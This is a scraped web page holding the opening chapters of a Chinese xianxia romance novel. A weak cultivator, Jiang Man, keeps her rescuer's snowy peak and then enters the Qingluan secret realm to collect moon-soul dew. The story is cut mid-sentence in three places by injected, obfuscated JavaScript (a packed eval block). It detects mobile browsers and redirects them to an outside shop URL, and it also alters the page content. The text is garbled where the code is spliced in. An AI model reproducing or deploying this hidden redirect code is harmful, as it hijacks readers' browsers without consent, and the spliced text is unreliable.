《炮灰白月光不干了》 1. 雪地流光 “铛——”“铛——”“铛——” 叩心钟三声钟响回荡在太华宗内。 一响“叩门”。 江蔓随着钟声清醒,抬眼看了眼窗外,清晨的第一缕阳光正透过云层直射而下,她盘腿坐好。 二响“问道”。 钟声直叩识海,江蔓运转太华宗基础心法,涤荡杂念。 三响“斩尘”。 钟声清越,宛若一柄出鞘利剑震颤的声音,震人心魂。 三声钟响下,江蔓结束功法的运行,开始新的一天。 只不过思绪不免飘忽,听闻钟离樾刚入门时,在三声叩心钟声中当场顿悟,领悟“心剑合一”,但江蔓显然不具备这样的天赋。 想到钟离樾,江蔓心中又甜又涩。 她走出自己的洞府,虽说是洞府,其实不过是依山而建的一间石室,外加一个巴掌大的院子。与太华宗其他宝气萦绕、灵光熠熠的洞府相比,这里简陋得近乎寒酸。 然而江蔓却将这方寸之地打理得生机盎然,石室内一尘不染,各种用灵竹、灵木制成的家具一应俱全,墙角爬着绿藤,窗台上摆着几盆她精心培育的灵花。蜃光贝磨成薄薄的一层镶嵌在窗户上,阳光透过贝壳,折射出五彩的光,别有一番味道。 院子也被她改良过,如今是一片种满了灵药的灵田。 她曾在坊市耗费巨资买下一个阵法玉简,虽说她修炼天赋不高,但阵法上却意外有些天赋。她已经琢磨透了玉简内的阵法,甚至做了一些改良。灵田中布置的就是改良后的聚灵阵,聚集灵气的速度是普通聚灵阵的三倍,因此灵田中青玉灵草长的特别好。 青玉灵草看上去不起眼,中间的主干看上去像小型竹节,每一节上都长出一两根细长的叶片,竹节的顶端有一片椭圆的青玉色主叶。青玉灵草便是因这色泽得名。但就是这样不起眼的灵草,却是制作符纸的主材料。 江蔓修为不高,没有师父,没有家族,平日在灵石上难免捉襟见肘,因此在培育青玉灵草上着实下了一番功夫。后因灵草卖的好,她想着不如一步到位,请符箓峰一位好说话的师兄吃了足足三个月的灵食,终于学会了符纸的制作方法。 现在她可以拍着胸脯说,整个太华宗包括太华宗周边,就没有比她江蔓更会制作符纸的。 江蔓不急不缓走到灵田边,先收集了青玉灵草上的露珠,这露珠虽不是什么稀罕东西,但因青玉灵草药力浸透和聚灵阵中灵气浸染,已经可以入药了。贫穷的江蔓当然不会错过任何可以赚取灵石的机会。 等露珠收集完,江蔓运转起体内灵气,施展唤雨诀,周身灵气涌动,细密的雨丝笼罩在这片灵田里。她盘腿坐下,借着聚灵阵三倍灵气,以及慢慢散开的药香,在细雨中修炼起来。 等结束一轮修炼,江蔓神清气爽站起身,望向云雾缭绕的凌霄峰山顶。 那里漫天飞雪、剑气凛然,是整个门派最冷的地方。不仅仅因为那处地势高寒,更因那是钟离樾的洞府所在,他修炼的特殊剑诀使整个凌霄峰峰顶都笼罩在冰天雪地中。 虽看不清钟离樾洞府的情形,但江蔓知道钟离樾正闭关突破金丹后期,等他出关后,他将是最年轻的金丹大圆满修士。 金丹期大圆满,对目前的江蔓来说,遥不可及。她天生五灵根,若不是钟离樾当年救了她,见她记忆全失,从而生了几分怜悯,将她放在自己的凌霄峰上做杂役,她怕是连太华宗的宗门都入不了。 江蔓没有从前的记忆,意识中的第一个画面便是钟离樾一身白衣,孤高清冷,不染尘埃。他踏月而来,手持本命剑“不染尘”,一剑劈开结界,将她从魔窟中救出,并朝她伸出手:“可愿随我走?” 满身狼狈的江蔓握紧了他修长冰凉的手。 从此钟离樾不仅是修仙界高高在上的明月,更是她心中的明月,即使知道俩人差距很大,江蔓也一心想要靠这轮明月近一些,再近一些。 钟离樾将她救回已经十五年。 十五年,对于其他修士来说不过只是弹指一瞬,甚至只是闭关一次的时间,但对她来说,是日日夜夜不间断修炼的几千个日夜。可惜她天赋不佳,十五年也还只是练气期。 江蔓并不是轻言放弃的人,修为提升艰难,她不断尝试新的方法。 “江师妹!江师妹!” 清脆的呼唤将她从沉思中拉回现实,山脚下跑来一个穿着青色外门弟子服的少年,他额角带汗,气喘吁吁地停在她院门前:“师妹,被你说中了,最近确有秘境要开了。” 江蔓摸了摸刚刚收集的露水,露水沸腾,她为少年泡了杯灵茶,指着院子中的石桌:“坐下慢慢说。” 少年有些羡慕得看着江蔓熟练的动作,江师妹虽然修为不高,但是练气期能使用的法决每一个都用得炉火纯青。 他一屁股坐在石凳上,喝了一口灵茶,顿觉身心舒畅,太华宗弟子因为江蔓师妹喜欢钟离前辈的事情都疏远她,少年却觉得那些人太过蠢笨。 江师妹人多好呀,会种灵草,会做灵食,待人和气,不仅将自己的院子打理得井井有条,就连钟离前辈冷冰冰的凌霄峰也变得生机盎然起来,刚从山脚跑上来时,他看到凌霄峰上的流光花开了。 这种花颜色艳丽,在雪地里仿若流火,最神奇的是,这花白天吸收太阳精华,夜间完全开放后宛若灯笼,闪闪发光。 在江蔓来凌霄峰之前,凌霄峰只有漫山遍野的冰雪,那时候他曾接门派任务来过凌霄峰清扫,被冻得瑟瑟发抖,江师妹来后便不一样了,漫山遍野的流光花似乎让凌霄峰的温度都提高了许多。 “就是南边那个十年一出的青鸾秘境。”少年眼睛发亮,“青鸾秘境中最有名的是能够稳固修为的月魄凝露,秘境被东域三大门派掌控多年,危险性不大,好些弟子都在议论,说要去碰碰运气。” 月魄凝露是秘境中的月魄花吸收月光精华,在花开的那一刹那化成的凝露,对刚突破的修士有奇效。 她记得清楚,三个月前钟离樾闭关时,掌门曾提过一嘴:“清晏你天生剑体,突破不成问题,若得月魄凝露辅助,可稳金丹、凝剑意,于日后剑道大有裨益。” 钟离樾字清晏,突破金丹后,众人皆称其为清晏真人。 钟离樾突破从来只靠自己和手中的剑,从未依赖过灵丹、灵药,并未在意掌门的话,江蔓却将此放在心上。 “青鸾秘境”江蔓轻声重复,心中下定决心。 “江师妹,你也想去吗?”少年好奇地问,随即又像是意识到什么,不好意思地挠挠头,“我、我就是随口一说……” 修仙界修士常常各有机缘,随意询问旁人打算并不礼貌。 江蔓笑了笑,这也没什么好隐瞒的,她点了点头。此次决定去青鸾秘境,不仅仅是为了给钟离樾找月华凝露,也是为了自己,她修为卡在练气期七层已经许久。她已许久未出门了,是时候去试炼一番,说不定能找到突破的办法。 若从秘境回来后,依旧无所突破,她也有别的打算。她知道自己在阵法有天赋,若是修为无法突破,她准备求上阵法峰,找找看有没有前辈愿意收她为弟子,做一个阵修也是不错的选择。 送走报信的少年,江蔓在院中的石凳上坐下,一直坐到月上柳梢,看着白茫茫的雪地上,一朵朵流光花绽放,宛若璀璨银河。 修真者夜晚不用灯光也能视物,但江蔓潜意识总觉得没有光亮是不完整,在来凌霄峰的第二年,终于鼓起勇气和钟离樾建议:“钟离前辈,凌霄峰太冷,若是有些颜色,或许会暖些。” 那时钟离樾刚从剑冢归来,身上还带着未散尽的剑气,闻言只淡淡瞥了她一眼:“随你。” 这两个字,让她欣喜若狂,总觉得钟离樾待她还是有几分不同的。 她不断寻找能在极寒和剑气环境中存活的花草,失败无数次后,终于在冒险去阴阳界替钟离樾寻阴阳果的时候发现了流光花。 此后在凌霄峰上,但凡能生长植物的地方,都有她种下的流光花。 江蔓欣赏了一番自己一株株种下的流光花,转身回了房内开始收拾东西。 *** 三日后,江蔓将石屋收拾得整整齐齐。灵田里的草药已经托付给相熟的外门弟子照看,几盆最珍爱的灵花搬进了室内,布下简单的阵法,保证在她不在时候,阵法内的灵花也能保持活力。 她清点着要带的东西:三瓶回气丹、两瓶养神丹、二十张符箓——五张火球符、五张冰锥符、五张土墙符,还有五张神行符,几个自制的阵盘,这些几乎是她全部家当。 临行前,她站在院中又施展了一遍唤雨诀,稳固了聚灵阵,心里盘算着等她从青鸾秘境回来刚好可以收割这一波青玉灵草,制成符纸换的灵石够她再买一份制作阵盘的材料。若她从青鸾秘境中出来时依旧无所收获,就带着自己制作的阵盘去阵法峰寻找愿意收她师父,她总不能与钟离樾的差距越来越大。 江蔓最后环顾这个住了十五年的地方。 窗台上挂着的流光灯笼轻轻摇曳,这是她突破练气七层时学会的小法术,用一丝灵气点燃流光花制成的灯芯,这样能让流光灯芯持续燃烧半年,即使在流光花谢后,也能让凌霄峰温暖明亮起来。钟离樾的洞府太冷,她也做了十二盏挂在他洞府外的回廊,虽然知道对他来说并无实际用处,但至少经过时,能看见一点光。 不知道为什么,这次离开时,她心头总有些不舍,江蔓觉得或许是她久未离开这里,才生出这些不舍来。 她深吸一口气,顺着凌霄峰的石阶慢慢向上攀登,直到走到钟离樾的洞府前才停下脚步。钟离樾洞府也和他的性格一样,简单明了,与江蔓的石屋类似,甚至没有院子,只有漫天冰雪。 但江蔓之前在钟离樾门前种下的阴阳树果实已经发芽,雪地里的流光花也悄然冒头,这些和屋檐下的流光灯笼一起为冷清的洞府增添了几分暖意。 石室大门紧闭,门前三丈处隐隐有剑气流转,那是钟离樾布下的禁制,擅入者会被他的剑气所伤。不过在凌霄峰也无人敢擅闯钟离樾的洞府,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“别碰!”年长些的张师兄急忙拉住他,“钟离师叔门前有禁制,不能触碰,小心你的手被斩断,钟离师叔剑气霸道,斩断后你的手怕是不能复原了。” 林轩讪讪收手,嘀咕道:“也不知道那江蔓是怎么想的,一个五灵根的杂役,筑基期都突破得艰难,也好意思纠缠钟离师叔。钟离师叔可是天生剑体,十岁筑基,三十岁便结丹的天骄。她配得上吗?” 张师兄摇摇头:“少说两句。江师妹虽资质平平,但勤勉有加,这些年在凌霄峰,将凌霄峰上下打理得井井有条,连掌门都曾夸赞过。” “打理得再好也不过是个杂役。”林轩不服气,“等顾师兄出关,定然会将她打发走,省得耽误修行。你看,这满山的流光花、流光灯笼,还有那棵怪模怪样的树,都是她弄的,花里胡哨,与凌霄峰肃杀之气格格不入……” 说着说着,他忽然顿住了。 因为他突然想起了这阴阳树的由来。 张师兄的目光也飘向石门前那株半人高的小树苗,叶片一半深黑如夜,一半洁白似雪,枝干上缠绕着淡淡的阴阳二气。这是“阴阳树”,修真界几乎绝迹的奇树,原本只生长在阴阳交界之处。 十年前,钟离樾刚刚突破金丹期,越级斩杀一个金丹后期的魔修,导致体内至阴寒气和至阳剑气冲突,面临爆体而亡的风险,唯有阴阳界的阴阳树果实,可调和钟离樾体内剑气与寒气的冲突。 阴阳界在极北之地,但那处秘境排斥灵气,只有练气三层以下的修士能够进入其中,且进入后修为尽失,与凡人无异。阴阳界危机四伏,处处都是险境,太华宗不缺练气三层的刚入门弟子,但却缺愿意为了钟离樾不顾生命危险闯入阴阳界的弟子。 江蔓那时是练气三层,听闻此事后没有半分犹豫,用积攒了五年的贡献点换了一瓶保命的丹药,孤身前往阴阳界。在阴阳界的几日,她以凡人之躯,翻越火山,跌落冰缝,差点冻死在风雪中。但最终,她在断崖边找到一棵枯萎的阴阳树,树上仅存四颗果实,她摘了两颗,剩下两颗任其自然落地,希望来年阴阳界还能再生两棵阴阳树。 她归来时遍体鳞伤,昏倒在太华宗门前,钟离樾不顾体内寒气和剑气冲突,将她抱回凌霄峰上。太华宗弟子总觉得江蔓与钟离樾离得太近,但那次,太华宗弟子没有一人议论钟离樾对江蔓的亲近,因为无人能做到江蔓这个地步。 那两颗阴阳果果实,一颗被钟离樾服下调养身体,另一颗被江蔓种在钟离樾洞府前,布下她改良的阵法,竟真发了芽,长势虽缓却逐渐长大。 林轩看着阴阳树愣神了一会,随即看向那四只在禁制之内振翅的彩色纸鹤。他猜测,怕是钟离师叔记着阴阳果的因果,所以对江蔓有些放纵?不然不能解释钟离师叔设下的禁制连金丹期修士都能拦住,这些纸鹤却能轻易进去?想必等钟离师叔这次出关,突破金丹期大圆满,离元婴期只一步之遥,便会让江蔓离开凌霄峰了。 张师兄没说话,也是盯着那些纸鹤看了许久。五颜六色,在一片雪白中格外刺眼,就像江蔓种在凌霄峰各处的流光花。 “走吧,雪扫完了。”张师兄最终什么也没说,率先转身离开。 林轩跟上,却忍不住回头又看了一眼,那些彩色纸鹤逐渐模糊,只隐约露出一点轮廓。 2. 青鸾秘境 前往青鸾秘境前,江蔓去了趟清云坊市,她觉得手中的灵丹和符箓有些不够,想准备把武器才能安心。 清云坊市离太华宗不远,有太华宗庇护,不仅宗门内的弟子喜欢来这里,附近的散修也会在这里交易,若是运气不错,兴许还能捡漏。江蔓修为不高,从未想过捡漏,只希望能买些对她探索青鸾秘境有帮助的东西。 她此次是奔着武器来的,便直接去了卖武器的商铺。因钟离樾是剑修,她对剑有好感,首先看了剑,这一看,便大吃一惊,没想到店里的剑这么贵。 修士的武器大致分为凡器、法器、灵器、法宝,每个等级内又分为上中下三品。凡器是俗世打造的武器,不具灵韵,修士用着威力不大;法器则初具灵光,需要修士用灵力驱动才能御使;灵器内蕴灵性,与主人心意相通的话可移山倒海;法宝则有几率诞生器灵,随着主人修为提升,器灵有化形概率,威力更是强大。 市面已多年不曾有法宝出现,就连灵器都十分珍贵,坊市中交易的多是法器。 江蔓看的就是一件下品法器,桃花流云剑。剑身光滑,隐隐带着粉,其上桃花图案若隐若现。 店主在一边笑呵呵推荐:“仙子好眼光,这桃花流云剑虽只是下品法器,却是位炼器大师年轻时所炼,威力不凡,更难得的是挥动剑身时,会有桃花瓣散落,美不胜收,特别契合仙子的气质。” 这倒不是夸大,江蔓青丝如瀑,只用一根青簪简单束起。眉眼清冷,肤白胜雪,唇色淡粉,眼角生有一颗泪痣。虽穿着太华宗最普通的青色弟子服饰,但身姿挺拔,行走时裙摆微动,确带有几分仙人气质。 江蔓有些心动,倒不是被店家夸赞打动,而是因为这剑自带桃花,特别适合在上面布置幻阵,攻击的时候,随着桃花瓣落下,敌人一不小心便会陷入桃花幻阵中。 江蔓看了眼价格,十块中品灵石,这几乎是她身上仅存的灵石了。 她以往来坊市不是卖灵草、符纸,便是买阵法材料,或是辅助修炼的丹药,这还是第一次来看武器,真没想到这下品法器这么贵。 但桃花流云剑确实适合她,江蔓拿出之前卖符纸积累的经验,开始和老板讨价还价,商铺老板没想到她看上去一副不缺灵石的仙子模样,还起价来却架势十足。 最终还是让江蔓八块中品灵石拿下了这把桃花流云剑。 江蔓心满意足地挥了挥剑,周身桃花散落,已经想好要怎么在剑上布置小型幻阵了。她喜滋滋地出门,刚走两步,便踩到了一个柔软的东西,低头一看,是一只巴掌大的老鼠。 虽是老鼠,却不见一丝猥琐,金色的皮毛顺滑明亮,脑袋圆圆,一双眼睛黑亮亮,见江蔓发现了它,还伸头蹭了蹭江蔓了衣摆,着实有些可爱。 江蔓一愣,随即旁边传来一声夸张的惊呼:“这位道友,这寻宝鼠与你有缘啊!” 一个身穿黑色长袍、头发散乱的修士从角落里窜出来,一把捧起地上的寻宝鼠,凑到江蔓面前:“道友,你看这金亮的色泽,你看这聪慧的眼神,走过路过,可千万别错过啊。”黑衣修士眼珠一转,“两块中品灵石,我就卖给你。” 听到这里,江蔓脚步不停,她一共只剩两块中品灵石,还要买阵法材料改造桃花流云剑呢,哪有闲钱买寻宝鼠。刚走两步,又觉脚下一软。低头一看,寻宝鼠又缩在她脚下了。 小东西还会碰瓷呢。 黑衣道士一咬牙:“道友,只要一块中品灵石。” 江蔓终究还是买下了这寻宝鼠,她去青鸾秘境,有寻宝鼠方便些,且这小鼠确实可爱。她摸了摸寻宝鼠的脑袋:“你颜色金黄,双目明亮,知道替自己寻主人,想必是有些灵智了,不如叫你……” 寻宝鼠站在江蔓的手心中,挺直身体,抬起胸膛,一双黑黝黝亮晶晶的眼睛期待得看着江蔓。 “就叫你大黄吧。” 寻宝鼠瞬间萎靡,缩在江蔓的手掌心,一动不动。 江蔓疑惑:“怎么了?大黄不好听吗?多亲切啊。” 寻宝鼠装死。 *** 青鸾秘境位于南麓山脉深处,江蔓身上的灵石买了幻阵材料后所剩无几,舍不得在传送阵上花灵石,只能靠自己双腿赶路,用了五日才赶到秘境入口附近。 幸而她时间把控得好,秘境尚未开启,已有不少修士聚集在此,他们三五成群,步履匆匆赶过来的江蔓并不突兀。 江蔓站在人群外围,看着眼前热闹的情形,微微蹙眉。青鸾秘境自百年前被发现后,每十年现世一次,历经数十次探索,早已不是什么神秘之地。机缘虽存,却大多已被前人取走,除了需要月魄凝露的修士会进来寻找,近年来只有些散修或低阶弟子会来碰碰运气。 可今日这情形,远超她的预料。 粗略看去,穿着各派特色弟子服的修士不下百人,其中甚至有筑基期修士的身影。他们在人群前方自成圈子,低声交谈着什么,脸上还带着期待。 “奇怪……”江蔓喃喃自语,脚步不由停住。 她怀中的大黄“吱吱”探出头来,黑豆似的眼睛警惕地扫视四周,然后又缩了回去,这么怕人,也不知道之前怎么有胆子碰瓷她的。 “吱吱。”不过片刻,大黄又探出头,这次用前爪轻轻挠了挠她的衣襟,脑袋冲着秘境入口的方向顶了顶。 显然是在告诉江蔓这秘境中有宝物。 去,还是不去? 江蔓的目光落在那些筑基修士身上。青鸾秘境怕是生了变故,才吸引他们前来,这是机遇也是危险。 她想到钟离樾,也想到她自己。她在练气七层已停留许久,始终摸不到筑基的门槛。五灵根修行如逆水行舟,若无机缘,恐怕此生也就止步于此了。 她不甘心。 深吸一口气,江蔓朝秘境入口走去,安静等待秘境开启。 正午时分,秘境入口处的空间开始波动,三位金丹期长老出现在秘境前,三人分别来自太华宗、凌虚阁和沧澜派。三个门派都有元婴真君坐镇,是东域最强势力,当年青鸾秘境一出世,便被他们把控,十年期一到,便派门下长老带着秘境钥匙前来打开秘境。 随着三人动作,道道青光冲天而起,隐约可闻鸾鸟清鸣。 青鸾秘境开放了。 修士们躁动起来,江蔓握紧袖中的储物袋,眼睛紧紧盯着入口。等大部分修士一溜烟挤进去,她才不急不缓走到登记处的执事面前,从储物袋中取出二十块下品灵石,这是进入青鸾秘境所要交的费用。 执事是个面容严肃的中年筑基期修士,他皱眉看着江蔓手中的灵石,没有伸手接,摇了摇头:“不够。” 江蔓疑惑:“前辈,以往不都是二十块下品灵石吗?” 执事多看了眼江蔓身上绣有太华宗标志的青色服饰,才耐着性子解释:“这次不一样,有真君算出此次青鸾秘境开启有天品功法传承出现,入门费翻倍。” 天品功法传承?江蔓瞪圆了眼睛,功法有仙品、天品、地品、灵品、凡品,她修炼的太华宗基础功法只是凡品功法,据说钟离樾的剑诀便是直指大道的天阶剑法。 现在青鸾秘境中竟也出现了天阶功法传承? 中年修士嘀嘀咕咕:“若不是青鸾秘境只能练气期和筑基期修士进入,你们这些外门弟子根本没有机会靠近。” 江蔓心中明了,难怪这次青鸾秘境开启,有这么多年轻筑基期修士前来。虽有功法传承,却不一定有人能够得到,功法也会挑选合适的继承人,若是没有合适的,想必会再次沉寂。 这也是中年修士并不瞒着她天阶功法的原因。 江蔓对天阶功法并不报期望,她五灵根天赋,想必天阶功法根本瞧不上她,且那么多天之骄子涌进秘境,她也没机会抢夺,还是抓住能把握的机缘为好,只是有些心疼翻倍的灵石。 江蔓抠抠搜搜地从储物袋掏出四十块灵石,中年修士似乎见多了她这种穷鬼修士,见怪不怪,也不嘲讽,只公事公办:“独自一人?” “是。” “令牌拿好,秘境开启一月,一月内可在秘境内自由探索。出秘境上交三成收获,逾期不归者,后果自负。”中年修士将一枚青玉令牌递给她,见她乖巧,又是太华宗外门弟子,补了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125914|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,“小道友,量力而行,修行路上保命为重。” 江蔓点点头,接过令牌走向传送阵。阵纹亮起的瞬间,她回头看了一眼秘境外,因有天阶功法出世的消息,筑基期的修士们早已涌入秘境,外面只剩寥寥几人,与先前的热闹相比冷清了很多。 白光闪过,天旋地转,瞬息间,江蔓已经出现在青鸾秘境内。 秘境里的灵气比外界浓郁数倍,江蔓稳住身形后,见周围没有危险,先盘腿坐下调息了一刻钟,久未松动的修为竟然动了动,可惜没能突破。江蔓已然满足,照这个趋势,等她出秘境后,定能突破。 难怪即使危险,也有那么多修士喜欢闯秘境呢。 大黄已迫不及待从她怀中跑了出来。 小家伙落地后嗅了嗅空气,随即“吱吱”叫着朝东南方向窜去。江蔓连忙跟上,手中已扣住一张神行符,大黄这么兴奋,说不定有大宝贝,以她的修为,若是得手,得尽快离开,防止被人夺宝。 半炷香后,大黄停在一处岩缝前,兴奋地原地打转。 江蔓蹲下身,看到从岩缝中冒出淡紫色光芒,心生期待,难道是什么灵矿?等她探头细看,才发现是里面是一片淡紫色的细长草叶,叶片边缘泛着微弱的灵光。 江蔓脸上的期待僵住,这是紫云草,一阶灵草,无法炼丹,却是制作中阶符纸的材料。 比青玉灵草珍贵些,但并不是什么天材地宝。看着旁边抬头挺胸等着夸奖的大黄,江蔓知道为什么黑衣修士即使降价也要把寻宝鼠卖给她了。 大黄似乎有些傻啊。 不过江蔓转念一想,市面上一斤晒干的紫云草能卖十块下品灵石,而这里……江蔓巡视一圈,这些紫云草收拾收拾晒干后少说也有十几斤。 大黄虽傻,但与她般配呀。 她眼睛一亮,立即取出小铲,小心翼翼地开始采摘。 一颗灵石……两颗灵石……三颗灵石…… 发财了!发财了!难怪大家都喜欢来秘境,她也喜欢。 “噗!我还以为找到什么宝贝了呢,原来是紫云草。” 刺耳的笑声从身后传来。 江蔓动作不停,将挖出的紫云草整齐地码放在一旁。 三个身穿太华宗服饰的弟子走过来,开口的是为首的少女。梳着高马尾,手腕上套着火红色玉镯,顾盼间神采飞扬,她肩膀上蹲着一只肥硕的银毛寻宝鼠。 那银毛寻宝鼠看到在江蔓脚边忙碌的大黄,顿时“叽叽”叫了起来,声音里似乎也带着嘲弄。 少女见状更乐了:“江师妹,你这寻宝鼠眼光可真独特。紫云草这种烂大街的东西,我的银光连看都不屑看一眼。” 江蔓认识她,少女名叫苏离。目前只是太华宗外门弟子,但有一个内门筑基期修为的姐姐,且自身天赋出众,已拜一位金丹长老为师,只等她筑基后,便会被收入内门,成为内门弟子。 江蔓和她之间的矛盾,起源于钟离樾。 苏离自恃天赋出众,刚入门时想要拜入钟离樾门下,却被钟离樾拒绝。苏离多次前往凌霄峰求见,都被拒之门外,后来钟离樾烦了,直接表示凌霄峰不欢迎外人。 苏离从小就是天之骄女,被钟离樾这样毫不留情拒绝,顿觉丢脸。但钟离樾是她偶像,且是金丹期前辈,她不好和钟离樾生气,便迁怒上了唯一能够住在凌霄峰的江蔓,从此看到江蔓没有好脸色。 江蔓也是无妄之灾,但她情绪向来稳定,苏离每次也只是嘴上嘲讽两句,对她来说只是过耳云烟,完全影响不到她,反而是苏离每次见江蔓淡然的神色,更是暗自生气。 江蔓无视苏离的嘲讽,她身边的大黄却猛地转身,冲着银毛鼠“吱吱”一通乱叫。江蔓虽听不懂鼠语,但从那气势汹汹的架势看,骂得应该挺脏。 银毛鼠愣了一下,随即被激怒了,也跳下来“叽叽”回骂。两只老鼠先是隔空对骂,随即觉得不过瘾,扑到一起打了起来,你抓我一下,我抓你一下,一时间金毛银毛飞舞,场面有些滑稽。 江蔓:“……” 没想到大黄还是个爆脾气,一言不合就开打。 3. 月魄凝露 苏离脸色一僵,没想到自己的银光会和江蔓的寻宝鼠打起来,鼠毛纷飞中,她瞥见身边的两个同伴竟也憋着笑,更觉丢脸了。 这成何体统,成何体统。 “走了走了。”她一把捞起自己的寻宝鼠银光,转身就跑,甚至为了尽快离开这里,运起了灵气施了个轻身诀。她怀中的银光却不懂她的心情,不甘地朝后“叽”了一声,大黄立即回以更响亮的“吱”。 等苏离的背影彻底消失,大黄才回到江蔓脚边,委屈地蹭了蹭她的靴子。 江蔓失笑,摸了摸它的小脑袋:“不气不气,他们不懂,我们大黄最厉害。” “吱吱!”大黄用力点头,他们懂什么,它可是勤俭持家的好鼠,主人这么穷,有它在,一定可以翻身! 大黄满身干劲地帮江蔓叼来一根根掉落的紫云草。 江蔓一边收割一边算账:武器、阵法这些杂七杂八的东西花了她十块中品灵石,入秘境又花了四十块下品灵石。这趟至少要带回二十块中品灵石的收获才不亏。紫云草能卖两块中品灵石左右,还得再找点别的…… 她小心地将紫云草收进特制的保鲜储物袋,这也是她自己改造的,她在普通储物袋的内衬上绘制了简单的保鲜符文阵法,能让灵草在一个月内保持新鲜。她是做灵草生意的,这些小巧思还是有的。 将紫云草收拾妥当,一人一鼠才继续上路。 来青鸾秘境前,江蔓用自制的阵盘和人交换了秘境的地图。对照地图,江蔓发现离她最近的月魄花在东北方向的寒渊谷,以她的速度,至少要走三天才能到达。 虽是赶路,路上遇到其它灵草,也没有放过的道理。青鸾秘境果然是被探索过的老秘境,这一路没遇上什么特别珍贵的东西,大多是些与紫云草相当的低阶灵草。筑基期修士或那些有背景的练气期弟子瞧不上这些灵草,江蔓却满足得很,灵草积少成多,这些卖出去后也够她多买些材料继续研究新阵法了。 且她一直对符箓感兴趣,只是因为灵石不足,绘制符箓用的符墨价格不菲,她已将所有灵石花在阵法上,便没有多余的灵石学习绘制符箓。等卖了这些灵草,便可以开始着手研究符箓了,毕竟卖符纸哪有卖符箓赚钱。 至于又学阵法又学符箓会不会影响她修行,江蔓对这个说法表示不理解,不过是几门选修课,怎会影响?虽没有记忆,但总隐约觉得她巅峰时期可是能同时学习十几门课程还游刃有余的。 *** 进入秘境的第五日,江蔓终于抵达了寒渊谷。 她手中的地图绘制得很细致,是一位曾来过青鸾秘境的师兄亲手所绘。上面不仅标明了月魄花所在位置,还细心地标注了几处可供歇息的岩洞,以及需要避开的妖兽巢穴。 可以看出,这位师兄也是一位善于逃命的生存流修士。 寒渊谷是一个山谷,以其中的寒渊瀑布而命名。 江蔓抬头仰望整个寒渊谷。两侧山壁高耸如剑,山崖上的积雪泛着冷光。寒渊瀑布下,远远便能看到几株月魄花摇曳,此刻花苞鼓鼓,很快便能盛开,江蔓只要在月魄花开那一刻收集凝露就好。 月魄凝露并不算贵重灵物。青鸾秘境每十年现世,这种在寒冰环境中自然生长的月魄花,只要肯花时间寻找,总能找到。只不过采集凝露时需要耐心,每滴凝露必须在花开的那一刹那采集,且必须用玉器承接,否则便会失去灵效。 而耐心,对江蔓来说,是最不缺的东西。 月魄花近在眼前,但江蔓性格一贯谨慎,她没有立即进谷,而是先在谷外找了一处隐蔽岩缝,布下简易的隐匿阵法,取出师兄手绘的地图再次确认。 寒渊谷呈葫芦形,入口狭窄,内部开阔。从谷口到瀑布,徒步的话大约要花一刻钟。瀑布下有一片寒潭,潭边生长着寒冰草和月魄花。 师兄特地用显眼的颜色圈出寒冰草几个字,这是炼制冰魄丹的重要材料,冰魄丹可帮助修士抵御心魔,价格不菲,不容错过。 师兄真不错,有灵石带着大家一起赚,江蔓觉得这次地图换得值,回去后要好好和这个师兄联络联络感情,下次有类似秘境,还找这个师兄交易。 除了标注了赚灵石的路子,师兄也贴心手绘了谷中常见妖兽冰魄蛛,和偶尔会出没的冰鳞蛇。胖乎乎的蜘蛛和小蛇趴在地图上有几分可爱,这些妖兽大多只是低阶,对练气后期修士威胁不大,没什么危险。 江蔓收起地图,小心地靠近谷口,同时备好回气丹,保证自身灵气充沛。走至一半,她脚步一顿,雪地上有几处不自然的痕迹。她蹲下身,用指尖拂开地面表层积雪,露出下面已经冻成冰的血迹和飞禽利爪留下的痕迹。 痕迹很深,足有半米,可见实力。 江蔓眉头微蹙。寒渊谷并不是什么宝地,除了月魄花,就只有一些低阶冰系灵草。按理说,不会吸引强大的妖兽。 她沉吟片刻,从储物袋中取出敛息阵,这是她改良过的阵法,在其中融入了隐光蛛吐出的丝,能扭曲光线,隔绝神识查探,她将阵法贴在衣袖上后,才悄无声息地潜入谷中。 寒渊谷内的景象与地图描述基本一致。 狭窄的入口过后,是一片开阔的冰原。地面上覆盖积雪,偶尔能看到几丛顽强的灵草从雪中探出头。远处,一道瀑布从百丈高的崖壁上飞流直下,落入下方的寒潭中,溅起的水雾散在空中,不过片刻便凝结成冰晶,这便是寒渊瀑布了。 这里很美,也冷得刺骨。不过江蔓常年居住在凌霄峰,已经习惯寒冷,这里的环境还不至于影响她。她没有立即去瀑布边,而是收敛气息,仔细观察四周。 打斗痕迹不止一处。 寒潭不远处,数个冰锥插入地面,砸出几个深坑,周围的寒冰草被连根拔起,更远些的地方,还有散落的羽毛,以及被利爪从中间劈开的巨石。 从残留的灵力波动判断,交手的双方应该有筑基期修为。 江蔓的心沉了下去,愈发小心,几乎是贴着谷壁的阴影移动。怀中大黄也异常安静,小爪子紧紧抓着她的衣襟,似乎也察觉到了强大妖兽的力量。 寒潭不大,直径约三十丈。但潭水却深不见底,只能看到浅水处铺了一片冰晶石,这是由于温度太低,水边矿石异化而成。潭边成片的寒冰草生长茂盛,草叶上凝结的露珠欲落不落。 江蔓没急着采集寒冰草,而是安静得待在阵法内,直到月亮升起,月魄花开始吸收月光精华后,她才小心地走到潭边。 月魄花吸收了月华之后,细长弯曲的花瓣一瓣瓣绽开,空中逐渐有淡淡的清香,江蔓闻了只觉得神情气爽,神识也分外振奋。就在此刻,月光达到最盛,月魄花彻底绽放,她取出特制的玉瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 